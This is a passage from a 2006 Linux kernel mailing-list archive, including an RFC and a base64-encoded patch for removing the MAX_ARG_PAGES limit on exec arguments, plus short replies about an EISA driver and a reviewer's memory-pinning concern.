	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AxMfdDZRIyd1EvqQe2drRGRaa2FkZlUB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24021

On Wed, 2006-10-11 at 12:22 -0400, James Love wrote:
> Writing a simple EISA driver allows me to read the board id and MAC off
> the card, but I'm not sure if the IO or interrupts are working
> correctly.  Is there some reason (eg kernel/eisa bus issues) that I
> shouldn't expect to get this to work?  I spend all my time in userspace,
> so I may very well have driver issues, but I'd like to know whether this
> is even possible.

It's possible, but I'm not sure it can be done without programming the
WAX interface (that's a thing the person who last read the WAX documents
can tell us ... unfortunately we no longer seem to have a copy of the
docs).

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ollie Wild" <aaw@google.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Removing MAX_ARG_PAGES (request for
	comments/assistance)
Date: Wed, 11 Oct 2006 10:13:26 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <65dd6fd50610111013t6c783f3esc038c64abbcddeb0__33696.4876078584$1416624194$gmane$org@mail.gmail.com>
References: <65dd6fd50610101705t3db93a72sc0847cd120aa05d3@mail.gmail.com>
	<1160553621.3000.355.camel@laptopd505.fenrus.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624194 21381 80.91.229.3 (22 Nov 2014 02:43:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:14 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-arch@vger.kernel.org,
 Andi Kleen <ak@muc.de>,
 linux-kernel@vger.kernel.org,
 David Howells <dhowells@redhat.com>,
 linux-mm@kvack.org,
 Linus Torvalds <torvalds@osdl.org>,
 Ingo Molnar <mingo@elte.hu>,
 parisc-linux@lists.parisc-linux.org
To: "Arjan van de Ven" <arjan@infradead.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Oct 2006 17:13:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 11 Oct 2006 19:13:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AAF847D78A;
	Wed, 11 Oct 2006 11:13:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19493-07; Wed, 11 Oct 2006 11:13:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E91DD7D775;
	Wed, 11 Oct 2006 11:13:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C0F527D76E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 11:13:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19493-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 11:13:44 -0600 (MDT)
Original-Received: from smtp-out.google.com (smtp-out.google.com [216.239.45.12])
	by free.linux.hp.com (Postfix) with ESMTP id 5F73F7D769
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 11:13:41 -0600 (MDT)
Original-Received: from zps75.corp.google.com (zps75.corp.google.com [172.25.146.75])
	by smtp-out.google.com with ESMTP id k9BHDUTe031181
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 10:13:30 -0700
DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:
	mime-version:content-type:content-transfer-encoding:
	content-disposition:references;
	b=pM+kJl8ncoWvducwXxqc9+5FFbcrC8gI+g+GZYsKYl7JTt/szxos2raCxhw9Zxz+m
	ukbgMV6E5MSXib3wbGc5w==
Original-Received: from nf-out-0910.google.com (nfbc29.prod.google.com [10.48.79.29])
	by zps75.corp.google.com with ESMTP id k9BHCseb029856
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 10:13:27 -0700
Original-Received: by nf-out-0910.google.com with SMTP id c29so736220nfb
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 10:13:27 -0700 (PDT)
Original-Received: by 10.82.111.8 with SMTP id j8mr245729buc;
	Wed, 11 Oct 2006 10:13:26 -0700 (PDT)
Original-Received: by 10.82.114.19 with HTTP; Wed, 11 Oct 2006 10:13:26 -0700 (PDT)
In-Reply-To: <1160553621.3000.355.camel@laptopd505.fenrus.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YBQfdjQUPTRtDujGPjIwZTwxc2tpZIvk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24022

> on first sight it looks like you pin the entire userspace buffer at the
> same time (but I can misread the code; this stuff is a bit of a
> spaghetti by nature); that would be a DoS scenario if true...

I'm not sure I understand.  Could you please elaborate?

Thanks,
Ollie
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ollie Wild" <aaw@google.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Removing MAX_ARG_PAGES (request for
	comments/assistance)
Date: Tue, 10 Oct 2006 17:05:09 -0700
Lines: 545
Approved: news@gmane.org
Message-ID: <65dd6fd50610101705t3db93a72sc0847cd120aa05d3__12709.4289208346$1416624194$gmane$org@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_Part_8824_9060361.1160525109224"
X-Trace: ger.gmane.org 1416624194 21384 80.91.229.3 (22 Nov 2014 02:43:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:14 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-arch@vger.kernel.org,
 Andi Kleen <ak@muc.de>,
 David Howells <dhowells@redhat.com>,
 linux-mm@kvack.org,
 Linus Torvalds <torvalds@osdl.org>,
 Ingo Molnar <mingo@elte.hu>,
 Arjan van de Ven <arjan@infradead.org>
To: linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Oct 2006 00:05:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 11 Oct 2006 02:05:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1480A7D73B;
	Tue, 10 Oct 2006 18:05:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06045-01; Tue, 10 Oct 2006 18:05:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8D0107D724;
	Tue, 10 Oct 2006 18:05:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 374FB7D720
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Oct 2006 18:05:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05049-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Oct 2006 18:05:21 -0600 (MDT)
Original-Received: from smtp-out.google.com (smtp-out.google.com [216.239.33.17])
	by free.linux.hp.com (Postfix) with ESMTP id B9B6E7D71D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Oct 2006 18:05:19 -0600 (MDT)
Original-Received: from spaceape8.eur.corp.google.com (spaceape8.eur.corp.google.com
	[172.28.16.142]) by smtp-out.google.com with ESMTP id k9B05CHX015031
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 01:05:12 +0100
DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns;
	h=received:message-id:date:from:to:subject:cc:mime-version:content-type;
	b=iJe+QuXcDqGFGCRkEkqEQ5hKbz5os5ZJ9azmcE+bpiG6qZkHxDsFkNqMDzDwTx7Zj
	F23SKllERhRxMWQmjMZhA==
Original-Received: from nf-out-0910.google.com (nfbc31.prod.google.com [10.48.79.31])
	by spaceape8.eur.corp.google.com with ESMTP id k9B03mpi017641
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 01:05:09 +0100
Original-Received: by nf-out-0910.google.com with SMTP id c31so478175nfb
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Oct 2006 17:05:09 -0700 (PDT)
Original-Received: by 10.82.126.19 with SMTP id y19mr14411buc;
	Tue, 10 Oct 2006 17:05:09 -0700 (PDT)
Original-Received: by 10.82.114.19 with HTTP; Tue, 10 Oct 2006 17:05:09 -0700 (PDT)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PFhOEUZZbXBtTrqHPTQ2S7cqLyUmZch9
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24023

------=_Part_8824_9060361.1160525109224
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hi,

A few months back, there was some discussion about increasing
MAX_ARG_PAGES (http://thread.gmane.org/gmane.linux.kernel/418858).
Since this is a problem which Google seems to bump into on a regular
basis -- we just keep jacking up the limit -- I thought I'd have  a
stab at implementing the preferred solution as outlined by Linus.

I've attached a patch which replaces the pages array from the
linux_binprm struct with a stack vm_area added to the new process's
mm_struct.  The region grows using the normal page fault / stack
extension mechanism.  Since the vm_area is swappable -- which I've
confirmed via testing -- we don't have to worry about memory
starvation.

I've tested this on the um/i386, i386, and x86_64 architectures with
the elf and script binfmts.  I'd like to get feedback from the Linux
community.  If anyone would like to test/implement the areas I've
missed, I'd greatly appreciate it.

Some outstanding issues / concerns:

- I haven't addressed the CONFIG_STACK_GROWSUP (parisc) case.  Would
someone on the parisc list be willing to have a go at this?  Grant
Grundler has offered to provide me access to hardware, but I'd prefer
to let a pa-risc guru have a go.

- I haven't tested this on a NOMMU architecture.  Could someone please
validate this?

- What, if any command line limits should we enforce?  The do_execve()
callchain has plenty of hooks where the calling process can sleep, so
CPU starvation shouldn't be a problem.  Memory consumption is limited
by the RLIMIT_STACK setting.  Note, however, that I'm not providing
any guarantee on the availability of space for the actual stack.

- Inside setup_arg_pages(), I have to move the stack region.
Different linux_binfmt handlers place it in different locations
relative to STACK_TOP, and STACK_TOP itself may have different values
depending on the personality of the executable.  When executing
scripts, the arg strings need to be accessed before we know which
binary format is being executed, so we can't generally make the
correct determination beforehand.

- There are  bunch of linux_binfmt handlers which are either obsolete
or specific to particular platforms.  Would someone be willing to look
at these?

Thanks,
Ollie

------=_Part_8824_9060361.1160525109224
Content-Type: text/x-patch; name=no_MAX_ARG_PAGES.patch; 
	charset=ANSI_X3.4-1968
Content-Transfer-Encoding: base64
X-Attachment-Id: f_et4xt20l
Content-Disposition: attachment; filename="no_MAX_ARG_PAGES.patch"

ZGlmZiAtLWdpdCBhL2FyY2gveDg2XzY0L2lhMzIvaWEzMl9iaW5mbXQuYyBiL2FyY2gveDg2XzY0
L2lhMzIvaWEzMl9iaW5mbXQuYwppbmRleCA4MmVmMTgyLi4yZTVhOTM0IDEwMDY0NAotLS0gYS9h
cmNoL3g4Nl82NC9pYTMyL2lhMzJfYmluZm10LmMKKysrIGIvYXJjaC94ODZfNjQvaWEzMi9pYTMy
X2JpbmZtdC5jCkBAIC0yNzksOSArMjc5LDYgQEAgI2RlZmluZSBleGl0X2VsZl9iaW5mbXQJCQll
eGl0X2VsZjMyX2JpbgogI2RlZmluZSBsb2FkX2VsZl9iaW5hcnkgbG9hZF9lbGYzMl9iaW5hcnkK
IAogI2RlZmluZSBFTEZfUExBVF9JTklUKHIsIGxvYWRfYWRkcikJZWxmMzJfaW5pdChyKQotI2Rl
ZmluZSBzZXR1cF9hcmdfcGFnZXMoYnBybSwgc3RhY2tfdG9wLCBleGVjX3N0YWNrKSBcCi0JaWEz
Ml9zZXR1cF9hcmdfcGFnZXMoYnBybSwgc3RhY2tfdG9wLCBleGVjX3N0YWNrKQotaW50IGlhMzJf
c2V0dXBfYXJnX3BhZ2VzKHN0cnVjdCBsaW51eF9iaW5wcm0gKmJwcm0sIHVuc2lnbmVkIGxvbmcg
c3RhY2tfdG9wLCBpbnQgZXhlY3V0YWJsZV9zdGFjayk7CiAKICN1bmRlZiBzdGFydF90aHJlYWQK
ICNkZWZpbmUgc3RhcnRfdGhyZWFkKHJlZ3MsbmV3X3JpcCxuZXdfcnNwKSBkbyB7IFwKQEAgLTMz
OCw1NyArMzM1LDcgQEAgc3RhdGljIHZvaWQgZWxmMzJfaW5pdChzdHJ1Y3QgcHRfcmVncyAqcgog
aW50IGlhMzJfc2V0dXBfYXJnX3BhZ2VzKHN0cnVjdCBsaW51eF9iaW5wcm0gKmJwcm0sIHVuc2ln
bmVkIGxvbmcgc3RhY2tfdG9wLAogCQkJIGludCBleGVjdXRhYmxlX3N0YWNrKQogewotCXVuc2ln
bmVkIGxvbmcgc3RhY2tfYmFzZTsKLQlzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKm1wbnQ7Ci0Jc3Ry
dWN0IG1tX3N0cnVjdCAqbW0gPSBjdXJyZW50LT5tbTsKLQlpbnQgaSwgcmV0OwotCi0Jc3RhY2tf
YmFzZSA9IHN0YWNrX3RvcCAtIE1BWF9BUkdfUEFHRVMgKiBQQUdFX1NJWkU7Ci0JbW0tPmFyZ19z
dGFydCA9IGJwcm0tPnAgKyBzdGFja19iYXNlOwotCi0JYnBybS0+cCArPSBzdGFja19iYXNlOwot
CWlmIChicHJtLT5sb2FkZXIpCi0JCWJwcm0tPmxvYWRlciArPSBzdGFja19iYXNlOwotCWJwcm0t
PmV4ZWMgKz0gc3RhY2tfYmFzZTsKLQotCW1wbnQgPSBrbWVtX2NhY2hlX2FsbG9jKHZtX2FyZWFf
Y2FjaGVwLCBTTEFCX0tFUk5FTCk7Ci0JaWYgKCFtcG50KSAKLQkJcmV0dXJuIC1FTk9NRU07IAot
Ci0JbWVtc2V0KG1wbnQsIDAsIHNpemVvZigqbXBudCkpOwotCi0JZG93bl93cml0ZSgmbW0tPm1t
YXBfc2VtKTsKLQl7Ci0JCW1wbnQtPnZtX21tID0gbW07Ci0JCW1wbnQtPnZtX3N0YXJ0ID0gUEFH
RV9NQVNLICYgKHVuc2lnbmVkIGxvbmcpIGJwcm0tPnA7Ci0JCW1wbnQtPnZtX2VuZCA9IHN0YWNr
X3RvcDsKLQkJaWYgKGV4ZWN1dGFibGVfc3RhY2sgPT0gRVhTVEFDS19FTkFCTEVfWCkKLQkJCW1w
bnQtPnZtX2ZsYWdzID0gVk1fU1RBQ0tfRkxBR1MgfCAgVk1fRVhFQzsKLQkJZWxzZSBpZiAoZXhl
Y3V0YWJsZV9zdGFjayA9PSBFWFNUQUNLX0RJU0FCTEVfWCkKLQkJCW1wbnQtPnZtX2ZsYWdzID0g
Vk1fU1RBQ0tfRkxBR1MgJiB+Vk1fRVhFQzsKLQkJZWxzZQotCQkJbXBudC0+dm1fZmxhZ3MgPSBW
TV9TVEFDS19GTEFHUzsKLSAJCW1wbnQtPnZtX3BhZ2VfcHJvdCA9IChtcG50LT52bV9mbGFncyAm
IFZNX0VYRUMpID8gCi0gCQkJUEFHRV9DT1BZX0VYRUMgOiBQQUdFX0NPUFk7Ci0JCWlmICgocmV0
ID0gaW5zZXJ0X3ZtX3N0cnVjdChtbSwgbXBudCkpKSB7Ci0JCQl1cF93cml0ZSgmbW0tPm1tYXBf
c2VtKTsKLQkJCWttZW1fY2FjaGVfZnJlZSh2bV9hcmVhX2NhY2hlcCwgbXBudCk7Ci0JCQlyZXR1
cm4gcmV0OwotCQl9Ci0JCW1tLT5zdGFja192bSA9IG1tLT50b3RhbF92bSA9IHZtYV9wYWdlcyht
cG50KTsKLQl9IAotCi0JZm9yIChpID0gMCA7IGkgPCBNQVhfQVJHX1BBR0VTIDsgaSsrKSB7Ci0J
CXN0cnVjdCBwYWdlICpwYWdlID0gYnBybS0+cGFnZVtpXTsKLQkJaWYgKHBhZ2UpIHsKLQkJCWJw
cm0tPnBhZ2VbaV0gPSBOVUxMOwotCQkJaW5zdGFsbF9hcmdfcGFnZShtcG50LCBwYWdlLCBzdGFj
a19iYXNlKTsKLQkJfQotCQlzdGFja19iYXNlICs9IFBBR0VfU0laRTsKLQl9Ci0JdXBfd3JpdGUo
Jm1tLT5tbWFwX3NlbSk7Ci0JCi0JcmV0dXJuIDA7CisJcmV0dXJuIHNldHVwX2FyZ19wYWdlcyhi
cHJtLCBzdGFja190b3AsIGV4ZWN1dGFibGVfc3RhY2spOwogfQogRVhQT1JUX1NZTUJPTChpYTMy
X3NldHVwX2FyZ19wYWdlcyk7CiAKZGlmZiAtLWdpdCBhL2ZzL2JpbmZtdF9lbGYuYyBiL2ZzL2Jp
bmZtdF9lbGYuYwppbmRleCAwNjQzNWYzLi5kMGUyMjkyIDEwMDY0NAotLS0gYS9mcy9iaW5mbXRf
ZWxmLmMKKysrIGIvZnMvYmluZm10X2VsZi5jCkBAIC0yNTUsOCArMjU1LDggQEAgI2VuZGlmCiAJ
d2hpbGUgKGFyZ2MtLSA+IDApIHsKIAkJc2l6ZV90IGxlbjsKIAkJX19wdXRfdXNlcigoZWxmX2Fk
ZHJfdClwLCBhcmd2KyspOwotCQlsZW4gPSBzdHJubGVuX3VzZXIoKHZvaWQgX191c2VyICopcCwg
UEFHRV9TSVpFKk1BWF9BUkdfUEFHRVMpOwotCQlpZiAoIWxlbiB8fCBsZW4gPiBQQUdFX1NJWkUq
TUFYX0FSR19QQUdFUykKKwkJbGVuID0gc3Rybmxlbl91c2VyKCh2b2lkIF9fdXNlciAqKXAsIE1B
WF9BUkdfU1RSTEVOKTsKKwkJaWYgKCFsZW4gfHwgbGVuID4gTUFYX0FSR19TVFJMRU4pCiAJCQly
ZXR1cm4gMDsKIAkJcCArPSBsZW47CiAJfQpAQCAtMjY2LDggKzI2Niw4IEBAICNlbmRpZgogCXdo
aWxlIChlbnZjLS0gPiAwKSB7CiAJCXNpemVfdCBsZW47CiAJCV9fcHV0X3VzZXIoKGVsZl9hZGRy
X3QpcCwgZW52cCsrKTsKLQkJbGVuID0gc3Rybmxlbl91c2VyKCh2b2lkIF9fdXNlciAqKXAsIFBB
R0VfU0laRSpNQVhfQVJHX1BBR0VTKTsKLQkJaWYgKCFsZW4gfHwgbGVuID4gUEFHRV9TSVpFKk1B
WF9BUkdfUEFHRVMpCisJCWxlbiA9IHN0cm5sZW5fdXNlcigodm9pZCBfX3VzZXIgKilwLCBNQVhf
QVJHX1NUUkxFTik7CisJCWlmICghbGVuIHx8IGxlbiA+IE1BWF9BUkdfU1RSTEVOKQogCQkJcmV0
dXJuIDA7CiAJCXAgKz0gbGVuOwogCX0KQEAgLTc2OSwxMCArNzY5LDYgQEAgc3RhdGljIGludCBs
b2FkX2VsZl9iaW5hcnkoc3RydWN0IGxpbnV4XwogCX0KIAogCS8qIE9LLCBUaGlzIGlzIHRoZSBw
b2ludCBvZiBubyByZXR1cm4gKi8KLQljdXJyZW50LT5tbS0+c3RhcnRfZGF0YSA9IDA7Ci0JY3Vy
cmVudC0+bW0tPmVuZF9kYXRhID0gMDsKLQljdXJyZW50LT5tbS0+ZW5kX2NvZGUgPSAwOwotCWN1
cnJlbnQtPm1tLT5tbWFwID0gTlVMTDsKIAljdXJyZW50LT5mbGFncyAmPSB+UEZfRk9SS05PRVhF
QzsKIAljdXJyZW50LT5tbS0+ZGVmX2ZsYWdzID0gZGVmX2ZsYWdzOwogCmRpZmYgLS1naXQgYS9m
cy9iaW5mbXRfbWlzYy5jIGIvZnMvYmluZm10X21pc2MuYwppbmRleCAxNzEzYzQ4Li4xMzc4YmEz
IDEwMDY0NAotLS0gYS9mcy9iaW5mbXRfbWlzYy5jCisrKyBiL2ZzL2JpbmZtdF9taXNjLmMKQEAg
LTEyNiw3ICsxMjYsOSBAQCBzdGF0aWMgaW50IGxvYWRfbWlzY19iaW5hcnkoc3RydWN0IGxpbnV4
CiAJCWdvdG8gX3JldDsKIAogCWlmICghKGZtdC0+ZmxhZ3MgJiBNSVNDX0ZNVF9QUkVTRVJWRV9B
UkdWMCkpIHsKLQkJcmVtb3ZlX2FyZ196ZXJvKGJwcm0pOworCQlyZXR2YWwgPSByZW1vdmVfYXJn
X3plcm8oYnBybSk7CisJCWlmIChyZXR2YWwpCisJCQlnb3RvIF9yZXQ7CiAJfQogCiAJaWYgKGZt
dC0+ZmxhZ3MgJiBNSVNDX0ZNVF9PUEVOX0JJTkFSWSkgewpkaWZmIC0tZ2l0IGEvZnMvYmluZm10
X3NjcmlwdC5jIGIvZnMvYmluZm10X3NjcmlwdC5jCmluZGV4IDFlZGJjY2EuLjViNjMwOWYgMTAw
NjQ0Ci0tLSBhL2ZzL2JpbmZtdF9zY3JpcHQuYworKysgYi9mcy9iaW5mbXRfc2NyaXB0LmMKQEAg
LTY4LDcgKzY4LDkgQEAgc3RhdGljIGludCBsb2FkX3NjcmlwdChzdHJ1Y3QgbGludXhfYmlucAog
CSAqIFRoaXMgaXMgZG9uZSBpbiByZXZlcnNlIG9yZGVyLCBiZWNhdXNlIG9mIGhvdyB0aGUKIAkg
KiB1c2VyIGVudmlyb25tZW50IGFuZCBhcmd1bWVudHMgYXJlIHN0b3JlZC4KIAkgKi8KLQlyZW1v
dmVfYXJnX3plcm8oYnBybSk7CisJcmV0dmFsID0gcmVtb3ZlX2FyZ196ZXJvKGJwcm0pOworCWlm
IChyZXR2YWwpCisJCXJldHVybiByZXR2YWw7CiAJcmV0dmFsID0gY29weV9zdHJpbmdzX2tlcm5l
bCgxLCAmYnBybS0+aW50ZXJwLCBicHJtKTsKIAlpZiAocmV0dmFsIDwgMCkgcmV0dXJuIHJldHZh
bDsgCiAJYnBybS0+YXJnYysrOwpkaWZmIC0tZ2l0IGEvZnMvY29tcGF0LmMgYi9mcy9jb21wYXQu
YwppbmRleCA0ZDNmYmNiLi4zNTI4YWZhIDEwMDY0NAotLS0gYS9mcy9jb21wYXQuYworKysgYi9m
cy9jb21wYXQuYwpAQCAtMTM4NSw2ICsxMzg1LDcgQEAgc3RhdGljIGludCBjb21wYXRfY29weV9z
dHJpbmdzKGludCBhcmdjLAogewogCXN0cnVjdCBwYWdlICprbWFwcGVkX3BhZ2UgPSBOVUxMOwog
CWNoYXIgKmthZGRyID0gTlVMTDsKKwl1bnNpZ25lZCBsb25nIGtwb3MgPSAwOwogCWludCByZXQ7
CiAKIAl3aGlsZSAoYXJnYy0tID4gMCkgewpAQCAtMTM5Myw5MiArMTM5NCw3MiBAQCBzdGF0aWMg
aW50IGNvbXBhdF9jb3B5X3N0cmluZ3MoaW50IGFyZ2MsCiAJCXVuc2lnbmVkIGxvbmcgcG9zOwog
CiAJCWlmIChnZXRfdXNlcihzdHIsIGFyZ3YrYXJnYykgfHwKLQkJCSEobGVuID0gc3Rybmxlbl91
c2VyKGNvbXBhdF9wdHIoc3RyKSwgYnBybS0+cCkpKSB7CisJCSAgICAhKGxlbiA9IHN0cm5sZW5f
dXNlcihjb21wYXRfcHRyKHN0ciksIE1BWF9BUkdfU1RSTEVOKSkpIHsKIAkJCXJldCA9IC1FRkFV
TFQ7CiAJCQlnb3RvIG91dDsKIAkJfQogCi0JCWlmIChicHJtLT5wIDwgbGVuKSAgeworCQlpZiAo
TUFYX0FSR19TVFJMRU4gPCBsZW4pIHsKIAkJCXJldCA9IC1FMkJJRzsKIAkJCWdvdG8gb3V0Owog
CQl9CiAKLQkJYnBybS0+cCAtPSBsZW47Ci0JCS8qIFhYWDogYWRkIGFyY2hpdGVjdHVyZSBzcGVj
aWZpYyBvdmVyZmxvdyBjaGVjayBoZXJlLiAqLworCQkvKiBXZSdyZSBnb2luZyB0byB3b3JrIG91
ciB3YXkgYmFja3dvcmRzLiAqLwogCQlwb3MgPSBicHJtLT5wOworCQlzdHIgKz0gbGVuOworCQli
cHJtLT5wIC09IGxlbjsKIAogCQl3aGlsZSAobGVuID4gMCkgewotCQkJaW50IGksIG5ldywgZXJy
OwogCQkJaW50IG9mZnNldCwgYnl0ZXNfdG9fY29weTsKLQkJCXN0cnVjdCBwYWdlICpwYWdlOwog
CiAJCQlvZmZzZXQgPSBwb3MgJSBQQUdFX1NJWkU7Ci0JCQlpID0gcG9zL1BBR0VfU0laRTsKLQkJ
CXBhZ2UgPSBicHJtLT5wYWdlW2ldOwotCQkJbmV3ID0gMDsKLQkJCWlmICghcGFnZSkgewotCQkJ
CXBhZ2UgPSBhbGxvY19wYWdlKEdGUF9ISUdIVVNFUik7Ci0JCQkJYnBybS0+cGFnZVtpXSA9IHBh
